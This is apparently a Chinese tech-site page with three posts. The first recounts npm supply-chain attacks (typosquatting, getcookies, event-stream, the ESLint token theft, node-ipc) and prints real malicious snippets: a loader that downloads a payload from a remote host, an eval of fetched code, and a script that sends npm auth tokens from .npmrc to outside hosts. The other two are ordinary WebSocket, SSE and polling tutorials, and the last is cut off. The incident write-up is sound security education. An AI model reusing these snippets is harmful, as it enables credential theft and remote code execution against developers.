对你没听错,就是包名抢注。


你可能听说过域名抢注,一个好的域名抢注了可能后面会卖个好价钱。


比如,抖音火了,官方域名是 http://www.douyin.com ,那么我就注册一个 http://www.d0uyin.com ,如果你眼神不好的话还是有一定欺诈效果的。


包名抢注确确实实也是发生在 JavaScript 生态里的,一样的道理。


比如有个包叫 cross-env,是用来在 Node.js 里设置环境变量的,非常基础且常用的功能,每周有着 500W 次的下载量。



于是有人抢注了 crossenvcross-env.js ,如果有人因为拼写错误,或者就是因为眼神不好使,安装了它们,这些包就可以窃取用户的环境变量,并将这些数据发送到远程服务器。我们的环境变量往往包含一些敏感的信息,比如 API 密钥、数据库凭据、SSH 密钥等等。


还有下面这些包,都是一样的道理:



  • babelcli - v1.0.1 - 针对 Node.js 的Babel CLI

  • d3.js - v1.0.1 - 针对 Node.js 的d3.js

  • fabric-js - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • ffmepg - v0.0.1 - 针对 Node.js 的FFmpegg

  • runtcli - v1.0.1 - 针对 Node.js 的Grunt CLI

  • http-proxy.js - v0.11.3 - Node.js的代理工具

  • jquery.js - v3.2.2-pre - 针对 Node.js 的jquery.js

  • mariadb - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可

  • mongose - v4.11.3 - Mongoose MongoDB ODM

  • mssql.js - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端

  • mssql-node - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端

  • mysqljs - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可

  • nodecaffe - v0.0.1 - 针对 Node.js 的caffe

  • nodefabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • node-fabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • nodeffmpeg - v0.0.1 - 针对 Node.js 的FFmpeg

  • nodemailer-js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件

  • nodemailer.js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件

  • nodemssql - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端

  • node-opencv - v1.0.1 - 针对 Node.js 的OpenCV

  • node-opensl - v1.0.1 - 针对 Node.js 的OpenSSL

  • node-openssl - v1.0.1 - 针对 Node.js 的OpenSSL

  • noderequest - v2.81.0 - 简化HTTP请求客户端

  • nodesass - v4.5.3 - 对libsass的包装

  • nodesqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • node-sqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • node-tkinter - v1.0.1 - 针对 Node.js 的Tkinter

  • opencv.js - v1.0.1 - 针对 Node.js 的OpenCV

  • openssl.js - v1.0.1 - 针对 Node.js 的OpenSSL

  • proxy.js - v0.11.3 - Node.js 的代理工具

  • shadowsock - v2.0.1 - 能够帮助你穿越防火墙的隧道代理

  • smb - v1.5.1 - 一个纯JavaScript的SMB服务器实现

  • sqlite.js - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • sqliter - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • sqlserver - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端

  • tkinter - v1.0.1 - 针对 Node.js 的Tkinter。


【奇葩的 Bug】is-promise


首先我们明白一个事实,这个库只有一行代码:


function isPromise(obj) {
return !!obj && (typeof obj === 'object' || typeof obj === 'function') && typeof obj.then === 'function';
}

然而,约 500 个直接依赖项使用了它,约 350 万个项目简洁依赖了它,每周包的下载量高达 1200万次。


于是,在 2020JavaScript 生态的名场面来了,一个单行的代码库让一大波大型项目瘫痪,包括 Facebook 、Google 等...


那么作者到底干了点啥呢?



根本原因就是 "exports" 这个字段没有被正确定义,所以在 Node.js 12.16 及更高版本中使用这个库就会抛出如下异常:


Error [ERR_INVALID_PACKAGE_TARGET]: Invalid "exports" main target "index.js" defined in the package config 

这能怪谁呢,一个单行代码库也能被这么多项目使用,可谓是牵一发而动全身,这再一次证明了 JavaScript 生态的脆弱。


【恶意后门】getcookies


2018 年、Rocket.Chat 通过了一个看似不起眼的 PR,PR 里包括了几个基础依赖的升级:



mailparser 从版本 2.2.0 更新到 2.2.3 引入了一个名为 http-fetch-cookies 的间接依赖项,它有一个名为 express-cookies 的子依赖项,它依赖于一个名为 getcookies 的包。 getcookies 包含一个恶意的后门。


工作原理是解析用户提供的 HTTP request.headers,然后寻找特定格式的数据,为后门提供三个不同的命令:



  • 重置代码缓冲区。

  • 通过调用 vm.runInThisContext 提供 module.exports、required、req、resnext 作为参数来执行位于缓冲区中的代码。

  • 将远程代码加载到内存中以供执行。


后续 ,npm 删除了 http-fetch-cookies、express-cookies、get-cookiesmailparser 2.2.3,并且在官方博客上披露了这次事件:



mailparser 本来是一个古老的用 JavaScript 解析电子邮件的 NPM 包。


但是后来包作者宣布不再维护了,社区也提供了新的替代包:Nodemailer


尽管包作者标记了弃用,这个包每周仍有数十万次的下载量,黑客就会专挑这种作者已经放弃维护,并且下载量还高的库下手,在其中引入了一个不起眼的间接依赖 get-cookies,中间还加了两层,包名也都挺正常的,根本没有人发现什么异常。


所以,作者都不维护了,大家也就都别再用了,这意味着没人对它的安全负责了...


【社会工程学】event-stream



GitHub 用户 right9ctrl 发布了一个恶意 NPM 包 flatmap-stream


随后 right9ctrl 利用社会工程学开始在 event-stream 上提一些问题,并且开始贡献一些代码,随后不久他骗取了主作者的信任,并且也成了 event-stream 的一名核心贡献者,而且拥有了包的完整发布和管理权限。


随后,right9ctrl 悄无声息的为 event-stream 引入了一个新的依赖 flatmap-stream,并且发布了了一个新的版本,因为是核心贡献者引入的一个不起眼的依赖升级的改动,大家都没有注意。


直到一周之后,这个段时间包的下载量已经达到了 800 万次,才有人发现了这个问题:



通过对 flatmap-stream 代码进行更详细的检查,我们可以发现这是针对 Copay(一个安全的比特币钱包平台)的一次精准的针对性攻击。


恶意代码被下载了数百万次,并执行了数百万次,在这期间大量拥有 Copay 的开发者遭受了巨大的经济损失...


然而这一切的原因,只不过是一次简单的 JavaScript 依赖升级 ...


然而,运用社工来进行供应链攻击也不至这一个案例,就在今年 6 月份,Phylum 披露了一系列 NPM 恶意行为,然后他把这些归咎于一个朝鲜黑客组织,他们发起的针对科技公司员工个人账户的小规模社会工程活动



朝鲜的黑客组织刚开始会先尝试和他们的目标建立联系(通常是一些流行包的作者),然后在 GitHub 上发出一起协作开发这个库的邀请,成功后就会尝试在这些库中引入一些恶意的包,例如 js-cookie-parserxml-fast-decoderbtc-api-node,它们都会包含一段被 base64 简单编码过的特殊代码:


const os = require('os');
const path = require('path');
var fs = require('fs');
const w = '.electron';
const f = 'cache';
const va = 'darwin';
async function start(){
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0
var dir = path.join(os.homedir(), w);
if (!fs.existsSync(dir)){
fs.mkdirSync(dir);
}
var axios = require('axios');
if (os.platform() == va){
var exec = require('child_process').exec;
exec('npm i --prefix=~/.electron ffi-napi', (error, stdout, stderr) => {
console.log(stderr);
});
}
var res = await axios.get('https://npmaudit.com/api/v4/init');
fs.writeFileSync(path.join(dir, f), res.data);
}
start()

所以,如果你是一个流行包的作者,千万不要轻信其他给你贡献代码的人,他们可能就是 "朝鲜" 黑客...


【NPM凭证泄漏】ESLint


2018 年,有用户在 ESLintIssue 反馈,加载了 eslint-escope 的项目似乎在执行恶意代码:



原因是攻击者大概在第三方漏洞中发现了 ESLint 维护者重复使用的电子邮件和密码,并使用它们登录了维护者的 npm 帐户,然后攻击者在维护者的 npm 帐户中生成了身份验证令牌。


随后,攻击者修改了 eslint-escope@3.7.2eslint-config-eslint@5.0.2 中的 package.json,添加了一个 postinstall 脚本来运行 build.js



build.jsPastebin 下载另一个脚本并使用 eval 执行其内容。


r.on("data", c => {
eval(c);
});

但是它不会等待请求完成,reqeuest 可能只发送了脚本的一部分,并且 eval 调用会失败并出现 SyntaxError,这就是问题的发现方式。


try {
var path = require("path");
var fs = require("fs");
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
var content = "nofile";

if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, { encoding: "utf8" });
content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();

var https1 = require("https");
https1
.get(
{
hostname: "sstatic1.histats.com",
path: "/0.gif?4103075&101",
method: "GET",
headers: { Referer: "http://1.a/" + content }
},
() => {}
)
.on("error", () => {});
https1
.get(
{
hostname: "c.statcounter.com",
path: "/11760461/0/7b5b9d71/1/",
method: "GET",
headers: { Referer: "http://2.b/" + content }
},
() => {}
)
.on("error", () => {});
}
} catch (e) {}

这个脚本会从用户的 .npmrc 中提取用于发布到 npm _authToken 并将其发送到 Referer 标头内的 histatsstatcounter


同样的问题也发生在过 conventional-changelog,也是因为发布者的 NPM 账号信息泄漏,导致攻击者插入了使用 require("child_process").spawn 执行恶意代码的脚本:



后来,ua-parser-js 作者的 NPM 账户被盗,攻击者在其中注入恶意代码:



所以,NPM 的发布权限其实也是挺脆弱的,只需要一个邮箱和密码,很多攻击者会使用非常简单的密码或者重复的密码,导致包的发布权限被攻击者接管。


后来,NPM 官方为了解决这一问题推出了双重身份验证机制 (2FA),启用后系统会提示你进行第二种形式的身份验证,然后再对你具有写入访问权限的帐户或包执行某些操作。根据你的 2FA 配置,系统将提示你使用安全密钥或基于时间的一次性密码 (TOTP)进行身份验证。


【manifest 混淆】node-canvas


一个 npm 包的 manifest 是独立于其 tarball 发布的,manifest 不会完全根据 tarball 的内容进行验证,生态系统普遍会默认认为 manifesttarball 的内容是一致的。



任何使用公共注册表的工具都很容易受到劫持。恶意攻击者可以隐藏恶意软件和脚本,把自己隐藏在在直接或间接依赖项中。在现实中对于这种受害者的例子也有很多,比如 node-canvas



感兴趣可以看我这篇文章:npm 生态系统存在巨大的安全隐患 文中详细介绍了这个问题。


【夹杂政治】node-ipc


这个或许大家都有所耳闻了,vue-cli 依赖项 node-ipc 包的作者 RIAEvangelist 是个反战人士。


百万周下载量的 npm 包以反战为名进行供应链投毒!



在 EW 战争的初期,RIAEvangelist 在包中植入一些恶意代码。源码经过压缩,简单地将一些关键字符串进行了 base64 编码。其行为是利用第三方服务探测用户 IP,针对俄罗斯和白俄罗斯 IP,会尝试覆盖当前目录、父目录和根目录的所有文件,把所有内容替换成


但是这种案例可不止这一个,下面是一些包含抗议性质的开源项目案例:



  • es5-ext: 一个主要用于 ECMAScript 的扩展库,尽管在两年内没有更新,却开始接收包含宣传和会增加资源使用的时区代码的常规更新,具体的政治宣传内容处于文件 _postinstall.js 中。

  • EventSource: 这个库可以在你的网站上显示政治标语。如果用户的时区是俄罗斯,它会用一个 15 秒的超时函数使用 alert() 。之后,这个库会在一个弹出窗口中打开一个政治/恶意网站。

  • Evolution CMS: 自2022年3月1日起,从版本 3.1.101.4.17 开始,在管理员面板上加入了政治图片。为了在没有任何政治标语下继续开发,该项目被派生成了 Evolution CMS 社区版。

  • voicybot: 是一个 Telegram 的机器人项,2022年3月2日,促销机器人消息被修改为政治标语。

  • yandex-xml-library(PHP): 这是一个非官方的 Yandex-XML PHP 库,有一个包含政治标语的版本被添加到 packagist,并且源文件已经在 GitHub 上被删除。

  • AWS Terraform 模块: 在代码中加入了反俄标语和无意义的变量。

  • Mistape WordPress 插件: 通过 Mistape 插件的一个漏洞,攻击者可以访问管理员部分,上传 UnderConstruction 插件,借此在网站主页显示任意信息。

  • SweetAlert2: 一个 JavaScript 弹窗库。库中加入了显示政治宣传和视频的代码。只有当用户在浏览器中选择了俄文,并且执行代码的网站位于 .ru/.su/.рф 区域时,此功能才会启动。



还有很多针对特定国家的项目,比如下面这些都是针对俄罗斯的:



  • Quake3e: 一个对 Quake III Arena 引擎进行改进的项目。在2022年2月26日,项目移除了对俄罗斯 MCST/Elbrus 平台的支持。

  • RESP.app / RedisDesktopManager: 一个 Redis 的图形用户界面。 项目移除了对俄语的翻译。

  • pnpm: 一个包管理器,项目中加入了反俄罗斯声明,并且来自俄罗斯和白俄罗斯的访问已被直接屏蔽。

  • Qalculate: 是一个跨平台的桌面计算器,在2022年3月14日,该项目去除了俄罗斯和白俄罗斯货币对应的国旗。

  • Yet Another Dialog: 一款允许你从命令行显示 GTK+ 对话框的程序。在2022年3月2日,该项目移除了俄语区域的支持。


最后


大家有什么看法,欢迎来评论区留言。


作者:ConardLi
来源:juejin.cn/post/7305984042640375817
收起阅读 »

3分钟使用 WebSocket 搭建属于自己的聊天室(WebSocket 原理、应用解析)

WebSocket 的由来 在 WebSocket 出现之前,我们想实现实时通信、变更推送、服务端消息推送功能,我们一般的方案是使用 Ajax 短轮询、长轮询两种方式: 比如我们想实现一个服务端数据变更时,立即通知客户端功能,没有 WebSocket 之前我...
继续阅读 »

WebSocket 的由来



  • 在 WebSocket 出现之前,我们想实现实时通信、变更推送、服务端消息推送功能,我们一般的方案是使用 Ajax 短轮询、长轮询两种方式:

  • 比如我们想实现一个服务端数据变更时,立即通知客户端功能,没有 WebSocket 之前我们可能会采用以下两种方案:短轮询或长轮询


短轮询、长轮询(来源:即时通讯网)



  • 上面两种方案都有比较明显的缺点:


1、HTTP 协议包含的较长的请求头,有效数据只占很少一部分,浪费带宽
2、短轮询频繁轮询对服务器压力较大,即使使用长轮询方案,客户端较多时仍会对客户端造成不小压力


  • 在这种情况下,HTML5 定义了 WebSocket 协议,能更好的节省服务器资源和带宽,并且能够更实时地进行通讯。


WebSocket 是什么



  • WebSocket 是一种网络传输协议,可在单个 TCP 连接上进行全双工通信,位于 OSI 模型的应用层。

  • WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。客户端和服务器只需要完成一次握手,两者之间就可以创建持久性的连接,并进行双向数据传输。


短轮询和WebSocket的区别(来源:即时通讯网)


WebSocket 优缺点


优点



  • 实时性: WebSocket 提供了双向通信,服务器可以主动向客户端推送数据,实现实时性非常高,适用于实时聊天、在线协作等应用。

  • 减少网络延迟: 与轮询和长轮询相比,WebSocket 可以显著减少网络延迟,因为不需要在每个请求之间建立和关闭连接。

  • 较小的数据传输开销: WebSocket 的数据帧相比于 HTTP 请求报文较小,减少了在每个请求中传输的开销,特别适用于需要频繁通信的应用。

  • 较低的服务器资源占用: 由于 WebSocket 的长连接特性,服务器可以处理更多的并发连接,相较于短连接有更低的资源占用。

  • 跨域通信: 与一些其他跨域通信方法相比,WebSocket 更容易实现跨域通信。


缺点



  • 连接状态保持: 长时间保持连接可能会导致服务器和客户端都需要维护连接状态,可能增加一些负担。

  • 不适用于所有场景: 对于一些请求-响应模式较为简单的场景,WebSocket 的实时特性可能并不是必要的,使用 HTTP 请求可能更为合适。

  • 复杂性: 与传统的 HTTP 请求相比,WebSocket 的实现和管理可能稍显复杂,尤其是在处理连接状态、异常等方面。


WebSocket 适用场景



  • 实时聊天应用: WebSocket 是实现实时聊天室、即时通讯应用的理想选择,因为它能够提供低延迟和高实时性。

  • 在线协作和协同编辑: 对于需要多用户协同工作的应用,如协同编辑文档或绘图,WebSocket 的实时性使得用户能够看到其他用户的操作。

  • 实时数据展示: 对于需要实时展示数据变化的应用,例如股票行情、实时监控系统等,WebSocket 提供了一种高效的通信方式。

  • 在线游戏: 在线游戏通常需要快速、实时的通信,WebSocket 能够提供低延迟和高并发的通信能力。

  • 推送服务: 用于实现消息推送服务,向客户端主动推送更新或通知。


主流浏览器对 WebSocket 的兼容性


主流浏览器对 WebSocket 的兼容性



  • 由上图可知:目前主流的 Web 浏览器都支持 WebSocket,因此我们可以在大多数项目中放心地使用它。


WebSocket 通信过程以及原理


建立连接



  • WebSocket 协议属于应用层协议,依赖传输层的 TCP 协议。它通过 HTTP/1.1 协议的 101 状态码进行握手建立连接。


具体过程



  • 客户端发送一个 HTTP GET 请求到服务器,请求的路径是 WebSocket 的路径(类似 ws://example.com/socket)。请求中包含一些特殊的头字段,如 Upgrade: websocket 和 Connection: Upgrade,以表明客户端希望升级连接为 WebSocket。

  • 服务器收到这个请求后,会返回一个 HTTP 101 状态码(协议切换协议)。同样在响应头中包含 Upgrade: websocket 和 Connection: Upgrade,以及一些其他的 WebSocket 特定的头字段,例如 Sec-WebSocket-Accept,用于验证握手的合法性。

  • 客户端和服务器之间的连接从普通的 HTTP 连接升级为 WebSocket 连接。之后,客户端和服务器之间的通信就变成了 WebSocket 帧的传输,而不再是普通的 HTTP 请求和响应。


示例


// 客户端请求
GET ws://localhost:8888/ HTTP/1.1
Host: localhost:8888
Connection: Upgrade
Upgrade: websocket
Origin: http://localhost:63342
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,en;q=0.7
Sec-WebSocket-Key: b7wpWuB9MCzOeQZg2O/yPg==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

// 服务端响应
HTTP/1.1 101 Web Socket Protocol Handshake
Connection: Upgrade
Date: Wed, 22 Nov 2023 08:15:00 GMT
Sec-WebSocket-Accept: Q4TEk+qOgJsKy7gedijA5AuUVIw=
Server: TooTallNate Java-WebSocket
Upgrade: websocket

Sec-WebSocket-Key


  • 与服务端响应头部的 Sec-WebSocket-Accept 是配套的,提供基本的防护,比如恶意的连接,或者无意的连接;这里的“配套”指的是:Sec-WebSocket-Accept 是根据请求头部的 Sec-WebSocket-Key 计算而来,计算过程大致为基于 SHA1 算法得到摘要并转成 base64 字符串。


Sec-WebSocket-Extensions


  • 用于协商本次连接要使用的 WebSocket 扩展。


数据通信



  • WebSocket 的每条消息可能会被切分成多个数据帧(最小单位)。发送端会将消息切割成多个帧发送给接收端,接收端接收消息帧并将关联的帧重新组装成完整的消息。


数据帧


      0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len | Extended payload length |
|I|S|S|S| (
4) |A| (7) | (16/64) |
|N|V|V|V| |S| | (
if payload len==126/127) |
| |
1|2|3| |K| | |
+-+-+-+-+
-------+-+-------------+ - - - - - - - - - - - - - - - +
| Extended payload length continued,
if payload len == 127 |
+ - - - - - - - - - - - - - - - +
-------------------------------+
| |Masking-key,
if MASK set to 1 |
+
-------------------------------+-------------------------------+
| Masking-key (continued) | Payload Data |
+
-------------------------------- - - - - - - - - - - - - - - - +
: Payload Data continued ... :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Payload Data continued ... |
+
---------------------------------------------------------------+

帧头(Frame Header)


  • FIN(1比特): 表示这是消息的最后一个帧。如果消息分成多个帧,FIN 位在最后一个帧上设置为 1。

  • RSV1、RSV2、RSV3(各1比特): 保留位,用于将来的扩展。

  • Opcode(4比特): 指定帧的类型,如文本帧、二进制帧、连接关闭等。


WebSocket 定义了几种帧类型,其中最常见的是文本帧(Opcode  0x1)和二进制帧(Opcode  0x2)。其他帧类型包括连接关闭帧、Ping 帧、Pong 帧等。


  • Mask(1比特): 指示是否使用掩码对负载进行掩码操作。

  • Payload Length: 指定数据的长度。如果小于 126 字节,直接表示数据的长度。如果等于 126 字节,后面跟着 16 比特的无符号整数表示数据的长度。如果等于 127 字节,后面跟着 64 比特的无符号整数表示数据的长度。


掩码(Masking)


  • 如果 Mask 位被设置为 1,则帧头后面的 4 字节即为掩码,用于对负载数据进行简单的异或操作,以提高安全性。


负载数据(Payload Data)


  • 实际要传输的数据,可以是文本、二进制数据等


来自 MDN 的一个小例子


Client: FIN=1, opcode=0x1, msg="hello"
Server: (process complete message immediately) Hi.

Client: FIN=0, opcode=0x1, msg="and a"
Server: (listening, newmessage containing text started)

Client: FIN=0, opcode=0x0, msg="happy new"
Server: (listening, payload concatenated to previous message)

Client: FIN=1, opcode=0x0, msg="year!"
Server: (process complete message) Happy new year to you too!

维持连接



  • 当建立连接后,连接可能因为网络等原因断开,我们可以使用心跳的方式定时检测连接状态。若连接断开,我们可以告警或者重新建立连接。


关闭连接



  • WebSocket 是全双工通信,当客户端发送关闭请求时,服务端不一定立即响应,而是等服务端也同意关闭时再进行异步响应。

  • 下面是一个客户端关闭的例子:


Client: FIN=1, opcode=0x8, msg="1000"
Server: FIN=1, opcode=0x8, msg="1000"

使用 WebSocket 实现一个简易聊天室



  • 下面是一个简易聊天室小案例,任何人打开下面的网页都可以加入我们聊天室进行聊天,然后小红和小明加入了聊天:


简易聊天室


前端源码


html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>WebSocket Chattitle>
head>
<body>
<div id="chat">div>
<input type="text" id="messageInput" placeholder="Type your message">
<button onclick="sendMessage()">Sendbutton>

<script>
const socket = new WebSocket('ws://localhost:8888');

socket.
onopen = (event) => {
console.log('WebSocket connection opened:', event);
};

socket.
onmessage = (event) => {
const messageDiv = document.getElementById('chat');
const messageParagraph = document.createElement('p');
messageParagraph.
textContent = event.data;
messageDiv.
appendChild(messageParagraph);
};

socket.
onclose = (event) => {
console.log('WebSocket connection closed:', event);
};

function sendMessage() {
const messageInput = document.getElementById('messageInput');
const message = messageInput.value;
socket.
send(message);
messageInput.
value = '';
}
script>
body>
html>

后端源码 Java


package chat;

import org.java_websocket.WebSocket;
import org.java_websocket.handshake.ClientHandshake;
import org.java_websocket.server.WebSocketServer;

import java.net.InetSocketAddress;

public class ChatServer extends WebSocketServer {

public ChatServer(int port) {
super(new InetSocketAddress(port));
}

@Override
public void onOpen(WebSocket conn, ClientHandshake handshake) {
System.out.println("New connection from: " + conn.getRemoteSocketAddress().getAddress().getHostAddress());
}

@Override
public void onClose(WebSocket conn, int code, String reason, boolean remote) {
System.out.println("Closed connection to: " + conn.getRemoteSocketAddress().getAddress().getHostAddress());
}

@Override
public void onMessage(WebSocket conn, String message) {
System.out.println("Received message: " + message);
// Broadcast the message to all connected clients
broadcast(message);
}

@Override
public void onError(WebSocket conn, Exception ex) {
System.err.println("Error on connection: " + ex.getMessage());
}

@Override
public void onStart() {
}

public static void main(String[] args) {
int port = 8888;
ChatServer server = new ChatServer(port);
server.start();
System.out.println("WebSocket Server started on port: " + port);
}
}

总结



  • WebSocket 是一种在客户端和服务器之间建立实时双向通信的协议。具备全双工、低延迟等优点,适用于实时聊天、多人协助、实时数据展示等场景。


参考



个人简介


👋 你好,我是 Lorin 洛林,一位 Java 后端技术开发者!座右铭:Technology has the power to make the world a better place.


🚀 我对技术的热情是我不断学习和分享的动力。我的博客是一个关于Java生态系统、后端开发和最新技术趋势的地方。


🧠 作为一个 Java 后端技术爱好者,我不仅热衷于探索语言的新特性和技术的深度,还热衷于分享我的见解和最佳实践。我相信知识的分享和社区合作可以帮助我们共同成长。


💡 在我的博客上,你将找到关于Java核心概念、JVM 底层技术、常用框架如Spring和Mybatis 、MySQL等数据库管理、RabbitMQ、Rocketmq等消息中间件、性能优化等内容的深入文章。我也将分享一些编程技巧和解决问题的方法,以帮助你更好地掌握Java编程。


🌐 我鼓励互动和建立社区,因此请留下你的问题、建议或主题请求,让我知道你感兴趣的内容。此外,我将分享最新的互联网和技术资讯,以确保你与技术世界的最新发展保持联系。我期待与你一起在技术之路上前进,一起探讨技术世界的无限可能性。


作者:Lorin洛林
来源:juejin.cn/post/7304182487684415514
收起阅读 »

IM通信技术快速入门:短轮询、长轮询、SSE、WebSocket

前言 哈啰,大家好,我是洛林,对Web端即时通讯技术熟悉的开发者来说,回顾整个网页端IM的底层通信技术发展,从短轮询、长轮询,到后来的SSE以及WebSocket,我们使用的技术越来越先进,使用门槛也越来越低,给大家带来的网页端体验也越来越好。我在前面的的《...
继续阅读 »

前言



  • 哈啰,大家好,我是洛林,对Web端即时通讯技术熟悉的开发者来说,回顾整个网页端IM的底层通信技术发展,从短轮询、长轮询,到后来的SSE以及WebSocket,我们使用的技术越来越先进,使用门槛也越来越低,给大家带来的网页端体验也越来越好。我在前面的的《3分钟使用 WebSocket 搭建属于自己的聊天室(WebSocket 原理、应用解析)》一文中介绍了众所熟知的WebSocket的技术,当其它的一些技术并不是没有用武之地,比如就以扫码登录而言,短轮询或长轮询就非常合适,完全没有使用大炮打蚊子的必要。

  • 因此,我们很多时候没有必要盲目追求新技术,而是适合场景的技术才是最好的技术,掌握WebSocket这些主流新技术固然重要,但了解短轮询、长轮询等所谓的“老技术”仍然大有裨益,这就是我分享这篇技术的原因。


即时通讯



  • 对于IM/消息推送这类即时通讯系统而言,系统的关键就是“实时通信”能力。所谓实时通信有以下两层含义:


1、客户端可以主动向服务端发送信息。
2、当服务端内容发生变化时,服务端可以实时通知客户端。

常用技术



  • 客户端轮询:传统意义上的短轮询(Short Polling)

  • 服务器端轮询:长轮询(Long Polling)

  • 单向服务器推送:Server-Sent Events(SSE)

  • 全双工通信:WebSocket


短轮询(Short Polling)


实现原理



  • 客户端向服务器端发送一个请求,服务器返回数据,然后客户端根据服务器端返回的数据进行处理。

  • 客户端继续向服务器端发送请求,继续重复以上的步骤。(为了减小服务端压力一般会采用定时轮询的方式)


短轮询通信过程


优点



  • 实现简单,不需要额外开发,仅需要定时发起请求,解析响应即可。


缺点



  • 不断的发起请求和关闭请求,性能损耗以及对服务端的压力较大,且HTTP请求本身本身比较耗费资源。

  • 轮询间隔不好控制。如果实时性要求较高,短轮询是明显的短板,但如果设置太长,会导致消息延迟。


长轮询(Long Polling)


实现原理



  • 客户端发送一个请求,服务器会hold住这个请求。

  • 直到监听的内容有改变,才会返回数据,断开连接(或者在一定的时间内,请求还得不到返回,就会因为超时自动断开连接);

  • 客户端继续发送请求,重复以上步骤。


长轮询通信过程


改进点



  • 长轮询是基于短轮询上的改进版本:减少了客户端发起Http连接的开销,改成在服务器端主动地去判断关注的内容是否变化。


基于iframe的长轮询



  • 基于iframe的长轮询是长轮询的另一种实现方案。


实现原理



  • 在页面中嵌入一个iframe,地址指向轮询的服务器地址,然后在父页面中放置一个执行函数,比如execute(data);

  • 当服务器有内容改变时,会向iframe发送一个脚本;

  • 通过发送的脚本,主动执行父页面中的方法,达到推送的效果。


总结



  • 基于iframe的长轮询底层还是长轮询技术,只是实现方式不同,而且在浏览器上会显示请求未加载完成,图标会不停旋转,简直是强迫症杀手,个人不是很推荐。


iframe长轮询


Server-Sent Events(SSE)



  • 上面介绍的短轮询和长轮询技术,服务器端是无法主动给客户端推送消息的,都是客户端主动去请求服务器端获取最新的数据。而SSE是一种可以主动从服务端推送消息的技术。

  • SSE的本质其实就是一个HTTP的长连接,只不过它给客户端发送的不是一次性的数据包,而是一个stream流,格式为text/event-stream。所以客户端不会关闭连接,会一直等着服务器发过来的新的数据流。


实现原理



  • 客户端向服务端发起HTTP长连接,服务端返回stream响应流。客户端收到stream响应流并不会关闭连接而是一直等待服务端发送新的数据流。


SSE通信过程


浏览器对 SSE 的支持情况


浏览器对 SSE 的支持情况


SSE vs WebSocket



  • SSE 使用 HTTP 协议,现有的服务器软件都支持。WebSocket 是一个独立协议。

  • SSE 属于轻量级,使用简单;WebSocket 协议相对复杂。

  • SSE 默认支持断线重连,WebSocket 需要自己实现。

  • SSE 一般只用来传送文本,二进制数据需要编码后传送,WebSocket 默认支持传送二进制数据。

  • SSE 支持自定义发送的消息类型。


总结



  • 对于仅需要服务端向客户端推送数据的场景,我们可以考虑实现更加简单的 SSE 而不是直接使用 WebSocket。


WebSocket



  • WebSocket 是一种网络传输协议,可在单个 TCP 连接上进行全双工通信,位于 OSI 模型的应用层。

  • WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。客户端和服务器只需要完成一次握手,两者之间就可以创建持久性的连接,并进行双向数据传输。


实现原理



  • 客户端发送一个 HTTP GET 请求到服务器,请求的路径是 WebSocket 的路径(类似 ws://example.com/socket)。请求中包含一些特殊的头字段,如 Upgrade: websocket 和 Connection: Upgrade,以表明客户端希望升级连接为 WebSocket。

  • 服务器收到这个请求后,会返回一个 HTTP 101 状态码(协议切换协议)。同样在响应头中包含 Upgrade: websocket 和 Connection: Upgrade,以及一些其他的 WebSocket 特定的头字段,例如 Sec-WebSocket-Accept,用于验证握手的合法性。

  • 客户端和服务器之间的连接从普通的 HTTP 连接升级为 WebSocket 连接。之后,客户端和服务器之间的通信就变成了 WebSocket 帧的传输,而不再是普通的 HTTP 请求和响应,客户端和服务端相互进行通信。


WebSocket通信过程


优点



  • 实时性: WebSocket 提供了双向通信,服务器可以主动向客户端推送数据,实现实时性非常高,适用于实时聊天、在线协作等应用。

  • 减少网络延迟: 与轮询和长轮询相比,WebSocket 可以显著减少网络延迟,因为不需要在每个请求之间建立和关闭连接。

  • 较小的数据传输开销: WebSocket 的数据帧相比于 HTTP 请求报文较小,减少了在每个请求中传输的开销,特别适用于需要频繁通信的应用。

  • 较低的服务器资源占用: 由于 WebSocket 的长连接特性,服务器可以处理更多的并发连接,相较于短连接有更低的资源占用。

  • 跨域通信: 与一些其他跨域通信方法相比,WebSocket 更容易实现跨域通信。


缺点



  • 连接状态保持: 长时间保持连接可能会导致服务器和客户端都需要维护连接状态,可能增加一些负担。

  • 不适用于所有场景: 对于一些请求-响应模式较为简单的场景,WebSocket 的实时特性可能并不是必要的,使用 HTTP 请求可能更为合适。

  • 复杂性: 与传统的 HTTP 请求相比,WebSocket 的实现和管理可能稍显复杂,尤其是在处理连接状态、异常等方面。


更多



总结



  • 在本文中我们介绍了IM通信技术中的常用四种技术:短轮询、长轮询、SSE、WebSocket,使用时可以综合我们的实际场景选择合适的通信技术,在复杂的应用场景中,我们可能需要结合不同的技术满足不同的需求,下面是一些常见的考虑因素:


实时性要求



